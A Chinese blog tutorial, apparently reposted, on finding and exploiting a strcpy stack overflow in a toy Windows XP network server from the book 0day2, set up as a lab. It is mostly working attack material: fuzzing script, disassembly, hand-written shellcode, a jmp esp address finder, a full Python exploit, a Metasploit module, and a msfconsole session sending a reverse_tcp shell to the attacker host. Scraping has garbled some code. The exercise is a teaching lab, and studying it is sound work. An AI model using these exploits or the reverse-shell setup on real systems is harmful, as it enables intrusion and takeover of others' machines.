简单远程溢出漏洞挖掘--strcpy引发的血案
漏洞程序源自failwest的《0day2》,书中以此程序为例介绍了metasploit下exploit的开发,直接给出了exp,of course对着code白盒很容易发现溢出点所在(当然自己黑盒也很简单)。 此文纯属小生过把黑盒挖掘远程溢出漏洞的瘾,黑盒分析一下release版和debug版漏洞的挖掘及利用(最后贴出程序源码供参考)。 ======================================邪恶的分割线============================================== 1. 漏洞程序
功能:服务端程序,本地监听7777号端口,并打印接收的数据。
2. 环境介绍
靶机系统:XP sp3
靶机IP ? ?:10.10.10.128 攻击主机系统:backtrack 5 攻击主机IP ? ?:10.10.10.132 3. 黑盒测试(Release版本)运行release.exe,程序是console版的,界面如下: 写个脚本向服务器发送"dami" import socket if "__main__" == __name__ : sockClient = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sockClient.connect(('10.10.10.128',7777)) sockClient.send(b'dami') print('send:dami') sockClient.close() print('connect closed') 靶机程序接收并打印了“dami”: 这次我们向靶机发送超常字符串: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 靶机程序崩溃了: 缓冲区溢出,根据错误提示“0x61616161”指令引用的"0x61616161"内存,可以知道此时EIP已经本覆盖为‘aaaa’,∴是可以执行任意命令的。 4. 定位溢出点使用od加载这个程序跑起来,通过逆向可以知道程序本地监听7777端口,并打印接收到的数据,本文介绍重点不在逆向所以不完全分析其逆向代码,贴关键代码 0040115B |. 50 |PUSH EAX ; /Flags => 0 0040115C |. F3:AB |REP STOS DWORD PTR ES:[EDI] ; | 0040115E |. 8D4C24 38 |LEA ECX,DWORD PTR SS:[ESP+38] ; | 00401162 |. 68 00020000 |PUSH 200 ; |BufSize = 200 (512.) 00401167 |. 51 |PUSH ECX ; |Buffer 00401168 |. 53 |PUSH EBX ; |Socket 00401169 |. FF15 E4904000 |CALL DWORD PTR DS:[<&WS2_32.#16>] ; recv 0040116F |. 8BF0 |MOV ESI,EAX 00401171 |. 85F6 |TEST ESI,ESI 00401173 |. 7D 26 |JGE SHORT release.0040119B 00401175 |. 68 50A04000 |PUSH release.0040A050 ; ASCII "reading stream message error!" 0040117A |. B9 98CA4000 |MOV ECX,release.0040CA98 0040117F |. E8 A3020000 |CALL release.00401427 00401184 |. 68 D0124000 |PUSH release.004012D0 00401189 |. 6A 0A |PUSH 0A ; /Arg1 = 0000000A 0040118B |. 8BC8 |MOV ECX,EAX ; | 0040118D |. E8 4E010000 |CALL release.004012E0 ; release.004012E0 00401192 |. 8BC8 |MOV ECX,EAX 00401194 |. E8 17010000 |CALL release.004012B0 00401199 |. 33F6 |XOR ESI,ESI 0040119B |> 8D5424 34 |LEA EDX,DWORD PTR SS:[ESP+34] 0040119F |. 52 |PUSH EDX 004011A0 |. E8 5B000000 |CALL release.00401200 0x00401169处接收数据存于0x200大小的缓冲区中,recv下方判断实际接收数据大小,>=0时调用0x00401200处函数,参数edx为接收的数据。 在0x004011A0处下断点,再次发送数据程序中断: 单步跟入0x00401200处函数: 00401200 /$ 81EC C8000000 SUB ESP,0C8 00401206 |. 83C9 FF OR ECX,FFFFFFFF 00401209 |. 33C0 XOR EAX,EAX 0040120B |. 8D5424 00 LEA EDX,DWORD PTR SS:[ESP] 0040120F |. 56 PUSH ESI 00401210 |. 57 PUSH EDI 00401211 |. 8BBC24 D40000>MOV EDI,DWORD PTR SS:[ESP+D4] 00401218 |. 68 00A14000 PUSH release.0040A100 ; ASCII "**********************" 0040121D |. F2:AE REPNE SCAS BYTE PTR ES:[EDI] 0040121F |. F7D1 NOT ECX 00401221 |. 2BF9 SUB EDI,ECX 00401223 |. 8BC1 MOV EAX,ECX 00401225 |. 8BF7 MOV ESI,EDI 00401227 |. 8BFA MOV EDI,EDX 00401229 |. C1E9 02 SHR ECX,2 0040122C |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 0040122E |. 8BC8 MOV ECX,EAX 00401230 |. 83E1 03 AND ECX,3 00401233 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 00401235 |. B9 98CA4000 MOV ECX,release.0040CA98 0040123A |. E8 E8010000 CALL release.00401427 0040123F |. 68 D0124000 PUSH release.004012D0 00401244 |. 6A 0A PUSH 0A ; /Arg1 = 0000000A 00401246 |. 8BC8 MOV ECX,EAX ; | 00401248 |. E8 93000000 CALL release.004012E0 ; release.004012E0 0040124D |. 8BC8 MOV ECX,EAX 0040124F |. E8 5C000000 CALL release.004012B0 00401254 |. 68 F4A04000 PUSH release.0040A0F4 ; ASCII "received:" 00401259 |. B9 98CA4000 MOV ECX,release.0040CA98 0040125E |. E8 C4010000 CALL release.00401427 00401263 |. 68 D0124000 PUSH release.004012D0 00401268 |. 6A 0A PUSH 0A ; /Arg1 = 0000000A 0040126A |. 8BC8 MOV ECX,EAX ; | 0040126C |. E8 6F000000 CALL release.004012E0 ; release.004012E0 00401271 |. 8BC8 MOV ECX,EAX 00401273 |. E8 38000000 CALL release.004012B0 00401278 |. 8D4C24 08 LEA ECX,DWORD PTR SS:[ESP+8] 0040127C |. 51 PUSH ECX 0040127D |. B9 98CA4000 MOV ECX,release.0040CA98 00401282 |. E8 A0010000 CALL release.00401427 00401287 |. 68 D0124000 PUSH release.004012D0 0040128C |. 6A 0A PUSH 0A ; /Arg1 = 0000000A 0040128E |. 8BC8 MOV ECX,EAX ; | 00401290 |. E8 4B000000 CALL release.004012E0 ; release.004012E0 00401295 |. 8BC8 MOV ECX,EAX 00401297 |. E8 14000000 CALL release.004012B0 0040129C |. 5F POP EDI 0040129D |. 5E POP ESI 0040129E |. 81C4 C8000000 ADD ESP,0C8 004012A4 . C3 RETN 读反汇编代码,此函数首先开辟了0xc8大小的空间,0x0040121D至0x00401233的指令完成了传入参数复制到开辟的0xc8的栈空间内,产生了溢出,覆盖了函数返回地址。 5. sh3llcode的开发
根据上面的分析可知,客户端发送的数据第201~204字节会覆盖到调用函数的返回地址,这个dword在函数返回时会弹入EIP,开发shellcode的思路:
这里做例子开发一个弹框“dami”的shellcode。要弹框我们就要找到MessageBoxA的地址,MessageBoxA的实现位于user32.dll中,这个库程序基本都会加载,我们还要找到其
加载基址。这里需要用到的技术就是动态调用api,关于这个在我之前的博文《远程代码注入》有详细的讲解:
动态调用API?。得到MessageBoxA的地址后,我们只要4个push
1个call即可完成调用。下面贴出failwest的代码,思路同上面的那篇博文:
/***************************************************************************** To be the apostrophe which changed "Impossible" into "I'm possible"! POC code of chapter 3.4 in book "Vulnerability Exploit and Analysis Technique" file name : shellcode_popup_general.c author : failwest date : 2006.10.20 description : can be run across OS platform and different patch version the code used to generate PE file and extract binary code Noticed : version : 1.0 E-mail : failwest@gmail.com Only for educational purposes enjoy the fun from exploiting :) ******************************************************************************/ int main() { _asm{ nop nop nop nop nop CLD ; clear flag DF ;store hash push 0x1e380a6a ;hash of MessageBoxA push 0x4fd18963 ;hash of ExitProcess push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ; esi = addr of first function hash lea edi,[esi-0xc] ; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh,0x04 sub esp,ebx ; push a pointer to "user32" onto stack mov bx,0x3233 ; rest of ebx is null push ebx push 0x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx,fs:[edx + 0x30] ; ebx = address of PEB mov ecx,[ebx + 0x0c] ; ecx = pointer to loader data mov ecx,[ecx + 0x1c] ; ecx = first entry in initialisation order list mov ecx,[ecx] ; ecx = second entry in list (kernel32.dll) mov ebp,[ecx + 0x08] ; ebp = base address of kernel32.dll find_lib_functions: lodsd ; load next hash into al and increment esi cmp eax,0x1e380a6a ; hash of MessageBoxA - trigger ; LoadLibrary("user32") jne find_functions xchg eax,ebp ; save current hash call [edi - 0x8] ; LoadLibraryA xchg eax,ebp ; restore current hash,and update ebp ; with base address of user32.dll find_functions: pushad ; preserve registers mov eax,[ebp + 0x3c] ; eax = start of PE header mov ecx,[ebp + eax + 0x78] ; ecx = relative offset of export table add ecx,ebp ; ecx = absolute addr of export table mov ebx,[ecx + 0x20] ; ebx = relative offset of names table add ebx,ebp ; ebx = absolute addr of names table xor edi,edi ; edi will count through the functions next_function_loop: inc edi ; increment function counter mov esi,[ebx + edi * 4] ; esi = relative offset of current function name add esi,ebp ; esi = absolute addr of current function name cdq ; dl will hold hash (we know eax is small) hash_loop: movsx eax,byte ptr[esi] cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx,[esp + 0x1c] ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop mov ebx,[ecx + 0x24] ; ebx = relative offset of ordinals table add ebx,ebp ; ebx = absolute addr of ordinals table mov di,[ebx + 2 * edi] ; di = ordinal number of matched function mov ebx,[ecx + 0x1c] ; ebx = relative offset of address table add ebx,ebp ; ebx = absolute addr of address table add ebp,[ebx + 4 * edi] ; add to ebp (base addr of module) the ; relative offset of matched function xchg eax,ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to [edi] and increment edi push edi popad ; restore registers ; loop until we reach end of last hash cmp eax,0x1e380a6a jne find_lib_functions function_call: xor ebx,ebx push ebx // cut string push 0x74736577 push 0x6C696166 //push failwest mov eax,esp //load address of failwest push ebx push eax push eax push ebx call [edi - 0x04] ; //call MessageboxA push ebx call [edi - 0x08] ; // call ExitProcess nop nop nop nop } }
下面我们就要找到ntdll.dll中jmp esp(机器码为FFE4)的地址,下面的代码即可完成搜索:
#include <stdio.h> #include <windows.h> void main() { HMODULE hUser32 = 0; BOOL bDone = FALSE; BYTE *btPtr = 0; int nPos = 0; int nAddr = 0; hUser32 = LoadLibrary("ntdll.dll"); if( !hUser32 ) { printf("Load failed!n"); exit(0); } btPtr = (BYTE*)hUser32; for( ; !bDone; nPos++) { if(btPtr[nPos]==0xff && btPtr[nPos+1]==0xe4) { // 0xffe4 is the opcode of jmp esp nAddr = (int)btPtr + nPos; printf("0x%xn",nAddr); } } }
至此,我们需要的东西都已经有了,下面便是组合shellcode,发送数据了,完整exploit如下:
import socket shellcode = b" x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 x61x61x61x61x61x61x61x61x61x61 xd8xfcx93x7cxFCx68x6Ax0Ax38x1E x68x63x89xD1x4Fx68x32x74x91x0C x8BxF4x8Dx7ExF4x33xDBxB7x04x2B xE3x66xBBx33x32x53x68x75x73x65 x72x54x33xD2x64x8Bx5Ax30x8Bx4B x0Cx8Bx49x1Cx8Bx09x8Bx69x08xAD x3Dx6Ax0Ax38x1Ex75x05x95xFFx57 xF8x95x60x8Bx45x3Cx8Bx4Cx05x78 x03xCDx8Bx59x20x03xDDx33xFFx47 x8Bx34xBBx03xF5x99x0FxBEx06x3A xC4x74x08xC1xCAx07x03xD0x46xEB xF1x3Bx54x24x1Cx75xE4x8Bx59x24 x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03 xDDx03x2CxBBx95x5FxABx57x61x3D x6Ax0Ax38x1Ex75xA9x33xDBx53x68 x64x61x6dx69x8BxC4x53x50x50x53 xFFx57xFCx53xFFx57xF8" if "__main__" == __name__ : sockClient = socket.socket(socket.AF_INET,7777)) sockClient.send(shellcode) sockClient.close() print('connect closed') 运行成功发送数据后,我们看靶机程序什么情况:)
Success!关于shellcode编码技术这里不在涉及,主要是为反IDS系统的拦截。
6. 在metasploit下开发exploit并getshell
metasploit平台开发exp使用ruby语言,并且有固定的框架格式,所以我们在开发exp时就像填空一样(直接贴exp了,有兴趣自行百度关于metasploit开发)。
#!/usr/bin/env ruby require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info={}) super(update_info(info,'Name' => 'dami_test','Platform' => 'win','Targets' => [ ['Windows 2000',{'Ret'=>0x77F8948B}],['Windows XP SP2',{'Ret'=>0x7c93fcd8}] #0x7c93fcd8 ],'Payload' => { 'Space' => 500,'BadChars' => "x00",'StackAdjustment' => -3500,} )) end def exploit connect attack_buf = 'a'*204 + [target['Ret']].pack('V') + payload.encoded sock.put(attack_buf) handler disconnect end end 保存为test1.rb,存于/opt/metasploit/msf3/modules/exploit/windows/dami/目录下,进入msfconsole(截个v5的主界面): root@bt:~# msfconsole MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMM MMMN$ vMMMM MMMNl MMMMM MMMMM JMMMM MMMNl MMMMMMMN NMMMMMMM JMMMM MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMNM MMMMMMM MMMMM jMMMM MMMNI WMMMM MMMMMMM MMMM# JMMMM MMMMR ?MMNM MMMMM .dMMMM MMMMNm `?MMM MMMM` dMMMMM MMMMMMN ?MM MM? NMMMMMN MMMMMMMMNe JMMMMMNMMM MMMMMMMMMMNm,eMMMMMNMMNMM MMMMNNMNMMMMMNx MMMMMMNMMNMMNM MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM http://metasploit.pro =[ metasploit v4.9.2-dev [core:4.9 api:1.0] ] + -- --=[ 1304 exploits - 700 auxiliary - 207 post ] + -- --=[ 335 payloads - 35 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] 好了,组合我们的 exploit 进行攻击 msf > use exploit/windows/dami/test1 msf exploit(test1) > set rhost 10.10.10.128 rhost => 10.10.10.128 msf exploit(test1) > set rport 7777 rport => 7777 msf exploit(test1) > set payload windows/shell/reverse_tcp payload => windows/shell/reverse_tcp msf exploit(test1) > set lhost 10.10.10.132 lhost => 10.10.10.132 msf exploit(test1) > set target 1 target => 1 msf exploit(test1) > exploit
成功getshell了,下面就是加用户,开远程,拿下靶机(如何开/查终端,加用户不属于本文介绍范围啦)
7. 关于Debug
实际上我们用如上的测试代码,无论弹框还是getshell都是不成功的,其实分析原因也很简单,即在调用0x00401200处的函数,debug程序在开辟新的栈帧时会多
push ebp 所以我们的shellcode要再多加4字节x61,这样才能使jmp ?esp的地址准确覆盖到函数返回地址处,同样也是成功溢出:) 8. 漏洞程序源码
差点忘了,贴下漏洞程序源码:
#include <stdio.h> #include <iostream.h> #include <winsock2.h> #pragma comment(lib,"ws2_32.lib") void msg_display(char *buf); void main() { int sock,msgsock,lenth,receive_len; struct sockaddr_in sock_server,sock_client; char buf[0x200]; WSADATA wsa; WSAStartup(MAKEWORD(1,1),&wsa); if( (sock=socket(AF_INET,SOCK_STREAM,0)) < 0 ) { cout<<sock<<"socket creating error!"<<endl; exit(1); } sock_server.sin_family = AF_INET; sock_server.sin_port = htons(7777); sock_server.sin_addr.s_addr=htonl(INADDR_ANY); if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server))) { cout<<"binging stream socket error!"<<endl; } cout<<"**************************************"<<endl; cout<<" exploit target server 1.0 "<<endl; cout<<"**************************************"<<endl; listen(sock,4); lenth = sizeof(struct sockaddr); do{ msgsock = accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth); if( msgsock==-1 ) { cout<<"accept error!"<<endl; break; } else { do{ memset(buf,sizeof(buf)); if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0) { cout<<"reading stream message error!"<<endl; receive_len = 0; } msg_display(buf); }while(receive_len); closesocket(msgsock); } }while(1); WSACleanup(); } void msg_display(char *buf) { char msg[200]; strcpy(msg,buf); cout<<"**********************"<<endl; cout<<"received:"<<endl; cout<<msg<<endl; } (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |